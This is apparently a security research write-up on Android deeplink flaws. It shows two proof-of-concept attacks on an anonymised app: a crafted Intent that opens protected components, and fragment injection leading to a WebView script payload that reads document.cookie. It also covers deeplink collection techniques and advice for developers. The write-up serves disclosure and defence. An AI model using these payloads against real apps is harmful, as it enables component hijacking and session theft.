0x01 Introduction to Deeplinks
<activity android:name="com.example.android.GizmosActivity" android:label="@string/title_gizmos"> <intent-filter android:label="@string/filter_view_http_gizmos"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- Accepts URIs that begin with "http://www.example.com/gizmos” --> <data android:scheme="http" android:host="www.example.com" android:pathPrefix="/gizmos" /> <!-- note that the leading "/" is required for pathPrefix--> </intent-filter> <intent-filter android:label="@string/filter_view_example_gizmos"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- Accepts URIs that begin with "example://gizmos” --> <data android:scheme="example" android:host="gizmos" /> </intent-filter> </activity>
0x02 Security Issues with Deeplinks
-
Facebook App [3]
-
Grab App [4]
-
Open any activity through a deeplink
protected void onActivityResult(int arg3, int arg4, Intent arg5) { super.onActivityResult(arg3, arg4, arg5); int v0 = 100; if(arg3 == 1 && arg5 != null) { String v3 = arg5.getStringExtra("country_code"); IdentityChinaAnalyticsV2.d(v3); if(this.o != null) { AccountVerificationActivityIntents.a(v3); this.startActivityForResult(this.o, v0); //this.o is an attacker controlled Intent } } else if(arg3 == v0) { arg3 = -1; if(arg4 == arg3) { this.setResult(arg3); this.finish(); } } } protected void onCreate(Bundle arg2) { super.onCreate(arg2); this.setContentView(layout.activity_simple_fragment); ButterKnife.a(((Activity)this)); if(arg2 == null) { this.c(true); new ChinaVerificationsRequest().a(this.n).execute(this.I); } Intent v2 = this.getIntent(); if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) { this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent } }
Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("victim-app://c/identitychina"));Intent payload = new Intent();payload.setComponent(new ComponentName("<victim app package name>", "<victim app protected component name>"));intent.putExtra("globalIdentityFlowIntent", payload);startActivity(intent);
-
Open any fragment through a deeplink
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 2706603-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public......(skip)03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
Upon careful analysis, the crash was due to the deeplink ultimately opening ModalActivity, which could not instantiate a fragment class named AAAA. If a fragment that already exists in the victim-app is passed in the deeplink’s fragment_class parameter, it can be launched through ModalActivity. In this parameter, I attempted to pass all existing Fragment Classes; some could successfully launch, while others crashed due to incomplete parameters, but it took some effort to determine the security implications.
Ultimately, I found a GoogleWebViewMapFragment that had the opportunity to execute loadDataWithBaseURL and load HTML/JS through WebView.
public View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) { View v7 = arg7.inflate(layout.fragment_webview, arg8, false); this.a = v7.findViewById(id.webview); this.d = v7; WebSettings v8 = this.a.getSettings(); v8.setSupportZoom(true); v8.setBuiltInZoomControls(false); v8.setJavaScriptEnabled(true); v8.setGeolocationEnabled(true); v8.setAllowFileAccess(false); v8.setAllowContentAccess(false); this.a.setWebChromeClient(new GeoWebChromeClient(this)); VicMapType v8_1 = VicMapType.b(this.o()); this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!! this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView"); return v7; }
public VicMapType(String arg1, String arg2, String arg3) { super(); this.a = arg1; this.b = arg2; this.c = arg3; } public String a(Resources arg3) { return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN", Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry()); } public Bundle a(Bundle arg3) { arg3.putString("map_domain", this.c()); // this.c is put in map_domain arg3.putString("map_url", this.b()); // this.b is put in map_url arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name return arg3; } String a() { return this.a; } public static VicMapType b(Bundle arg5) { return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", "")); } String b() { return this.b; } String c() { // v8_1.c() return this.c; }
$ ls -l *.html-rwxr-xr-x 1 heeeeen h4cker 8290 3 6 08:28 google_map.html-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28 leaflet_map.html-rwxr-xr-x 1 heeeeen h4cker 5546 3 6 08:28 mapbox.html
<!DOCTYPE html><html><head> <meta name="viewport" content="initial-scale=1.0, user-scalable=no"> <meta charset="utf-8"> <style> html, body, #map-canvas { height: 100%; margin: 0px; padding: 0px }</style> <script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN&region=REGIONTOKEN"></script> <script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script> <script>var map;var infoWindow = null;var markers = {};var infoWindowContent = {};var polylines = {};
public Bundle a(Bundle arg3) { arg3.putString("map_domain", this.c()); // this.c is put in map_domain arg3.putString("map_url", this.b()); // this.b is put in map_url arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name return arg3; }
Intent payload = new Intent(Intent.ACTION_VIEW); payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment")); Bundle extra = new Bundle(); extra.putString("map_url", ""></script><script>alert(document.cookie);</script><script>"); extra.putString("map_file_name", "google_map.html"); extra.putString("map_domain", "https://www.victim-app.com"); payload.putExtra("bundle", extra); startActivity(payload);
0x03 Collection of Deeplinks
-
Local Search: Filter custom deeplink URL schemes from the Manifest file and then use regex to match and extract as complete deeplink URIs as possible in local reverse code. Be careful not to miss any files. Experience shows that deeplinks may appear in the app’s Java code, resource files in the Asset directory/js, and may even be found in so files;
-
Traffic Monitoring: Capture traffic from the app using HTTP capture tools or implementing a Burp plugin to monitor deeplinks in the traffic, attempting to click through various scenarios in the app to regex match complete deeplinks from request and response packets;
-
IPC Monitoring: Dynamically monitor IPC communications for deeplinks through hooking, extracting the data from Intents. You can use Burp plugin brida, or even integrate with traffic monitoring;
-
Remote Crawling: Crawl the web pages of the app’s web end to filter out deeplinks. However, I have not practiced this method, but have occasionally found it in web source codes.
-
Based on Deeplink Features: If the app uses some routing distribution SDKs, these SDKs have specific rules, so we can use regex to parse these rules to obtain complete deeplinks. For example, with Ali’s arouter, we can extract the path after build Route as the deeplink URI’s path. Extract the name after build Autowired as the parameters in the deeplink. Then concatenate this with the content obtained in step one to obtain a complete deeplink.
0x04 Suggestions for Developers
Developers should particularly focus on WebView security issues related to deeplinks, as this type of vulnerability accounts for the largest proportion of deeplink security issues. Care should be taken with parameters like url, extra_url, page, link, redirect, etc., to check if these parameters can be modified to make WebView access arbitrary domains. If this is a business design, it is recommended to give users an external domain jump prompt, and prohibit WebView from accessing file://, prohibit loadUrl from accessing external domains with important authentication tokens, and carefully check the domain whitelist verification for sensitive javascriptInterface or JsBridge interfaces in WebView.
Additionally, since deeplinks cannot verify source, they should not be designed to trigger sensitive operations that impact security, such as:
-
Sending data packets carrying authentication tokens
-
Opening protected components
-
Bypassing app locks
-
Making external calls without user interaction
-
Silently installing applications
……
It is recommended that app developers using deeplinks provide all deeplink lists and design documents to internal security teams for security testing, which can help discover security issues introduced by deeplinks earlier and more comprehensively than external attackers.